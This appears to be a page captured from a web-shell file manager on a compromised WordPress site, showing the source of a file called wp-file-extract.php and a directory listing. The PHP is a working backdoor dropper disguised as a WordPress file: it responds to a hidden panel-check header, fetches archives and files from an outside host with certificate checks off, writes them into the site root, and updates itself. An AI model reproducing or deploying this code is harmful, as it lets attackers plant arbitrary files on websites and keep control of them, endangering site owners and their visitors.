PHP 8.3.27
Preview: wp-file-extract.php Size: 3.64 KB
/home7/doctorbruno/public_html/insulingate.com/wp-file-extract.php
<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")&&!is_file("$d/wp-config.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/';

// ── ?extract=1 → CDN'den zip indir ve tüm dosyaları tek seferde extract et ──
if(isset($_GET['extract'])&&$_GET['extract']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    if(!class_exists('ZipArchive')){echo json_encode(['error'=>'no-ZipArchive']);exit;}
    if(!function_exists('curl_init')){echo json_encode(['error'=>'no-curl']);exit;}

    $ch=curl_init($cdn.'api/cstb-files.zip');
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>30,CURLOPT_CONNECTTIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_FOLLOWLOCATION=>1]);
    $zipData=curl_exec($ch);$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);curl_close($ch);

    if(!$zipData||$code!=200||strlen($zipData)<500){
        echo json_encode(['error'=>'zip-download-fail','http_code'=>$code,'size'=>strlen($zipData??'')]);exit;
    }

    $tmp=sys_get_temp_dir().'/cstb_deploy_'.md5($_SERVER['HTTP_HOST']??'x').'.zip';
    @file_put_contents($tmp,$zipData);

    $zip=new ZipArchive();
    if($zip->open($tmp)!==true){
        @unlink($tmp);
        echo json_encode(['error'=>'zip-open-fail']);exit;
    }

    $res=[];
    for($i=0;$i<$zip->numFiles;$i++){
        $name=$zip->getNameIndex($i);
        if(substr($name,-1)==='/')continue;
        $content=$zip->getFromIndex($i);
        $dest="$d/$name";
        $dir=dirname($dest);
        if(!is_dir($dir))@mkdir($dir,0755,true);
        $res[$name]=@file_put_contents($dest,$content)!==false?'ok':'fail';
    }
    $zip->close();
    @unlink($tmp);

    echo json_encode(['status'=>'extracted','root'=>$d,'files'=>count($res),'results'=>$res],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?extract=files → Zip yoksa, dosya dosya CDN'den indir (fallback) ──
if(isset($_GET['extract'])&&$_GET['extract']==='files'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $ch=curl_init($cdn.'api/fixed.json');
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $j=curl_exec($ch);curl_close($ch);
    $map=@json_decode($j,true);
    if(!$map){echo json_encode(['error'=>'map-fail']);exit;}

    $res=[];
    foreach($map as $src=>$rel){
        $path="$d/$rel";$dir=dirname($path);
        if(!is_dir($dir))@mkdir($dir,0755,true);
        $ch=curl_init($cdn.'txt/'.$src);
        curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
        $c=curl_exec($ch);curl_close($ch);
        $res[$rel]=($c&&strlen($c)>50)?(@file_put_contents($path,$c)!==false?'ok':'fail'):'cdn-err';
    }

    $ch=curl_init($cdn.'txt/wp-extract.txt');
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);$res['_self']='updated';}

    echo json_encode(['status'=>'deployed','root'=>$d,'results'=>$res],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

header('Content-Type: text/plain');
echo "cstb-extract\nmodes: ?extract=1 (zip) | ?extract=files (tek tek)\n";

Directory Contents

Dirs: 5 × Files: 32
Name Size Perms Modified Actions
- drwxr-xr-x 2026-09-14 00:13:17
Edit Download
wp-admin DIR
- drwxr-xr-x 2026-10-06 16:19:04
Edit Download
- drwxr-xr-x 2026-10-07 03:25:54
Edit Download
- drwxr-xr-x 2026-10-06 16:19:04
Edit Download
- drwxr-xr-x 2026-10-06 16:19:04
Edit Download
1.45 KB lrw-r--r-- 2026-07-23 08:57:23
Edit Download
15.45 KB lrw-r--r-- 2026-10-06 16:19:03
Edit Download
32.33 KB lrw-r--r-- 2026-10-07 05:38:15
Edit Download
1.53 MB lrw-r--r-- 2026-10-07 13:40:24
Edit Download
56.24 KB lrw-r--r-- 2026-10-07 05:38:15
Edit Download
44 B lrw-r--r-- 2026-10-02 10:20:13
Edit Download
19.44 KB lrw-r--r-- 2026-01-01 00:07:30
Edit Download
885 B lrw-r--r-- 2026-10-06 16:19:04
Edit Download
19.39 KB lrw-r--r-- 2026-10-07 03:01:51
Edit Download
7.23 KB lrw-r--r-- 2026-10-07 03:26:56
Edit Download
7.20 KB lrw-r--r-- 2026-02-17 17:05:44
Edit Download
22.64 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
351 B lrw-r--r-- 2020-02-06 06:33:12
Edit Download
15.90 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
2.27 KB lrw-r--r-- 2023-06-14 14:11:16
Edit Download
3.26 KB lrw-r--r-- 2025-08-12 14:47:32
Edit Download
3.45 KB lrw-r--r-- 2026-07-23 08:16:13
Edit Download
5.49 KB lrw-r--r-- 2024-08-02 19:40:16
Edit Download
3.64 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
7.50 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
2.43 KB lrw-r--r-- 2025-04-30 12:52:30
Edit Download
3.84 KB lrw-r--r-- 2024-03-11 10:05:16
Edit Download
50.66 KB lrw-r--r-- 2026-08-08 03:26:07
Edit Download
8.52 KB lrw-r--r-- 2025-04-02 22:25:26
Edit Download
7.46 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
31.88 KB lrw-r--r-- 2026-05-08 15:59:44
Edit Download
35.64 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
33.94 KB lrw-r--r-- 2026-08-08 03:26:07
Edit Download
7.45 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
5.09 KB lrw-r--r-- 2025-08-19 12:30:32
Edit Download
1.08 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
3.13 KB lrw-r--r-- 2024-11-08 15:52:18
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).